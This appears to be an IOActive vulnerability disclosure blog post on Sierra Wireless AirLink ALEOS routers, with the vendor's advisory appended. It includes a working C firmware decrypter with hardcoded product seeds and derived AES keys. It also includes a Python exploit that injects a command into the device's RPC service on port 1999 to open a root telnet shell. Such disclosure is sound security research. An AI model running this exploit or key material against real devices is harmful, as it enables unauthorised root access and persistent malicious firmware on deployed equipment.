1.1 Custom ‘seed’
This 8-byte hardcoded value can be found in the ‘swinstaller’ binary, close to the ‘sha256’/’aes’ strings in most cases.
1.2 Custom ‘version’
This value can be found in the ‘manifest.txt’ file and corresponds to the ‘ALEOS_VERSION’ value, highlighted in the image below.
As in the previous case, it will obviously be different across versions.
2. Deriving the IV/Key
This non-canonical simple pseudo-code can be used to get an overall idea behind the generation.
a = "\x00"*32b = version+seedcopy(a, rounds_sha256(b), 32)materials = rounds_sha256(a+b)
iv = materials[0:31]key = materials[32:63]
The full logic to decrypt AirLink firmware files has been implemented in following file:
// For research purposes only // // Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) // @IOActiveLabs https://labs.ioactive.com // // Dependencies: // libtomcrypt https://github.com/libtom // // Compile // $ gcc decrypter.c -o decrypter -Isrc/headers libtomcrypt.a // // Example // KEY is the ALEOS_VERSION at manifest.txt (manifest.txt!ALEOS_VERSION=KEY) // $ ./decrypter -d KEY aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1 /* Example output for RV50 firmware - ALEOS_VERSION=4.13.0.017 * Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * - Initializing materials... Hashing at keyBuff+32 for 18 bytes... round 1 round 2 round 3 round 4 Copying 32 bytes from the hashed material to keyBuff Now hashing the entire keyBuff [50 bytes]... round 1 round 2 round 3 round 4 ***=> IV: "\x11\x5F\x24\x07\x50\x3C\x68\xD2\x28\x26\xBA\x18\x4B\x12\x54\xF1\x2C\x20\x36\x01\x45\x86\x42\x99\x05\x6D\x43\x3C\xC5\x80\xCA\x94" ***=> Key: "\x7D\x69\x78\x59\x55\x35\xF9\xAA\x4F\x8E\xBE\xE4\xE8\xD2\xEE\xFA\x86\x35\xD1\x6A\x58\x81\x53\x78\x6D\xFF\x2E\xB5\xBC\x88\x21\x11" [+] Decrypting firmware to decrypted.bin... [+] Done */ #include <tomcrypt.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int errno; typedef struct _product_key{ unsigned char seed[8]; char *name; } product_key; // SEED TABLE (ALEOS VERSION 4.13.0.017) // Extracted from the 'swinstaller' binary (different from product/version) product_key seed_table[]={ {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","ES450"}, {"\x5D\x5C\xAA\x26\x2D\x0B\xDE\x5A","RV50"}, {"\xFB\x76\x0D\xCE\xC1\x2C\xC8\x16","LX60"}, {"\xCB\x4E\x4A\x5F\x07\x89\x0B\xDE","RV55"}, {"\x1C\xDF\x8D\x14\xB3\x61\xCF\x12","MP70"}, {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","GX450"}, {0} }; int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5); int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV); int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV) { unsigned char *keyBuff; unsigned char keyHash[64]={0}; unsigned char ivHash[64]={0}; size_t retLen; size_t keylen,totalen; int result; printf("\n- Initializing materials...\n"); *key = (unsigned char *)calloc(0x40,1); *IV = (unsigned char *)calloc(0x40,1); keylen = len; totalen = keylen + 40; keyBuff = (unsigned char*)calloc(totalen, 1); retLen = 32; // Copy key string "\x00"*32+key memcpy(keyBuff + 32, keyString, keylen); // Copy remaining materials "\x00"*32+key+seed memcpy(keyBuff + 32 + keylen, seed_table[product].seed, 8); printf("Hashing at keyBuff+32 for %lu bytes...\n",totalen - 32); result = generate_materials( (keyBuff + 32), totalen - 32, keyHash, (size_t*)&retLen, 5); printf("Copying 32 bytes from the hashed material to keyBuff\n"); memcpy(keyBuff,keyHash, 0x20); retLen = 32; printf("\nNow hashing the entire keyBuff [%lu bytes]...\n",totalen); generate_materials( keyBuff, totalen, ivHash, (size_t*)&retLen, 5); memcpy(*IV,ivHash,0x20); memcpy(*key,keyHash,0x20); printf("***=> IV: \""); for(int i=0; i<32;i++){ printf("\\x%02X",ivHash[i]); } printf("\"\n"); printf("***=> Key: \""); for(int i=0; i<32;i++){ printf("\\x%02X",keyHash[i]); } printf("\"\n"); return 1; } int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5) { int v5; size_t *v7; int v9; int v10; size_t n; unsigned char *outBuff; int v13; int i; int v15; v9 = len; v7 = a4; outBuff = (unsigned char*)calloc(0x100,1); v13 = find_hash("sha256"); n = 128; v15 = hash_memory(v13, inBuff, v9, outBuff, &n); if ( *v7 > n ){ printf("Error hashing memory\n"); exit(0); } memcpy(dest, outBuff, n); *v7 = n; for ( i = 1; i < a5 && !v15; ++i ) { printf("round %d\n",i); v15 = hash_memory(v13, dest, *v7, outBuff, &n); memcpy(dest, outBuff, n); *v7 = n; } printf("\n"); if ( v15 ) v5 = -1; else v5 = 0; return v5; } int usage(char *name) { int x; printf("\nUsage: %s -d version cipher('aes') infile outfile chunk_size product(ID)\nSupported products:\n", name); for(x=0; seed_table[x].name != NULL; x++) { printf("ID: [%d] Description: %s\n",x, seed_table[x].name); } printf("\n$ ./decrypt -d 4.12.0.p31 aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1\n"); exit(1); } void register_algs(void) { if (register_cipher (&aes_desc)){ printf("Error registering AES\n"); exit(-1); } if (register_hash(&sha256_desc) == -1) { printf("Error registering SHA256\n"); exit(-1); } } int main(int argc, char *argv[]) { unsigned char *plaintext,*ciphertext; unsigned char *inbuf; size_t n, decrypt; symmetric_CTR ctr; int cipher_idx, hash_idx; char *infile, *outfile, *cipher; FILE *fdin, *fdout; size_t amount; unsigned char *cKey; unsigned char *cIV; if (argc < 7) { return usage(argv[0]); } register_algs(); inbuf = (unsigned char*)calloc(8192,1); cipher = argv[3]; infile = argv[4]; outfile = argv[5]; amount = atoi(argv[6]); if (!strcmp(argv[1], "-d")) { plaintext = (unsigned char*)calloc(8192,1); decrypt = 1; } else { printf("\n[!] decryption only"); exit(0); } printf("\n* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * \n"); init_keys( argv[2], strlen(argv[2]), atoi(argv[7]), &cKey, &cIV ); fdin = fopen(infile,"rb"); if (fdin == NULL) { perror("Can't open input for reading"); exit(-1); } fdout = fopen(outfile,"wb"); if (fdout == NULL) { perror("Can't open output for writing"); exit(-1); } cipher_idx = find_cipher(cipher); if (cipher_idx == -1) { printf("Invalid cipher entered on command line.\n"); exit(-1); } if (decrypt) { if ((errno = ctr_start(cipher_idx, cIV, cKey, 32, 0, CTR_COUNTER_LITTLE_ENDIAN,&ctr)) != CRYPT_OK) { printf("ctr_start error: %s\n",error_to_string(errno)); exit(-1); } printf("\n[+] Decrypting firmware to %s...",outfile); do { n = fread(inbuf,1,amount,fdin); if ((errno = ctr_decrypt(inbuf,plaintext,n,&ctr)) != CRYPT_OK) { printf("ctr_decrypt error: %s\n", error_to_string(errno)); exit(-1); } if (fwrite(plaintext,1,n,fdout) != n) { printf("Error writing to file.\n"); exit(-1); } } while (n == amount); printf("\n[+] Done\n"); } fclose(fdin); fclose(fdout); return 0; }
File: ‘/usr/readyagent/lua/rpc/sched.lua’
File: ‘/usr/readyagent/lua/rpc/sched.lua’
File: ‘/usr/readyagent/lua/rpc/proxy.lua’
These values will be handled by ‘common.execute,’ which allows any function to be executed.
File: ‘/usr/readyagent/lua/rpc/common.lua’
File: ‘/lib/libSWIALEOS41.so.1.0’
1. File: ‘/usr/sbin/UpdateRebootMgr’
2. File: ‘/usr/sbin/libSWIALEOS41.so.1’
3. File: ‘/usr/sbin/UpdateRebootMgr’
File: ‘/lib/libswsystemtools.so’
#!/usr/bin/env python import socket TCP_IP = '192.168.13.31' TCP_PORT = 1999 BUFFER_SIZE = 1024 MESSAGE1 = "\x00\x01\x00\x00\x00\x7C" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(MESSAGE1) s.send("\x04\x00\x0A"+"os.execute"+"\x04\x00\x60"+"/tmp/RequestUpdate -c aleos -o \"--aleos /tmp/pun|/bin/busybox telnetd -l/bin/sh -p31337\""+"\x00"*26) data = s.recv(BUFFER_SIZE) s.close() print "received data:", repr(data)
- According to the documentation, the ‘root’ user is proprietary to Sierra Wireless.
- The main firmware file is signed and certain key files in the package are encrypted. This attack allows malicious firmware to be installed on the device, thus gaining persistence.
- There is an interesting feature, although it is unlikely to be exploited. AirLink customers can temporarily enable a remote support option. This adds a hardcoded root hash to ‘/etc/shadow’ and seems to be identical across devices. A rooted AirLink device might be used to trick Sierra Wireless support staff into remotely connecting to the device to capture the password.
In current versions of ALEOS, the RPC server is enabled only when the AAF user password is defined.
Sierra
Wireless recommends that customers enable the AAF user only for devices
that are being used for AAF development and debugging. The AAF user is
not required for AAF applications
to be deployed and run.
Deployed devices must not have the AAF user password enabled.
Sierra
Wireless recommends upgrading to the latest ALEOS version for your
gateway. For devices running ALEOS 4.13 today, Sierra Wireless
recommends upgrading to ALEOS 4.14.0 once it is
available.
For more information see our advisory at https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin---swi-psa-2020-005/
----
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.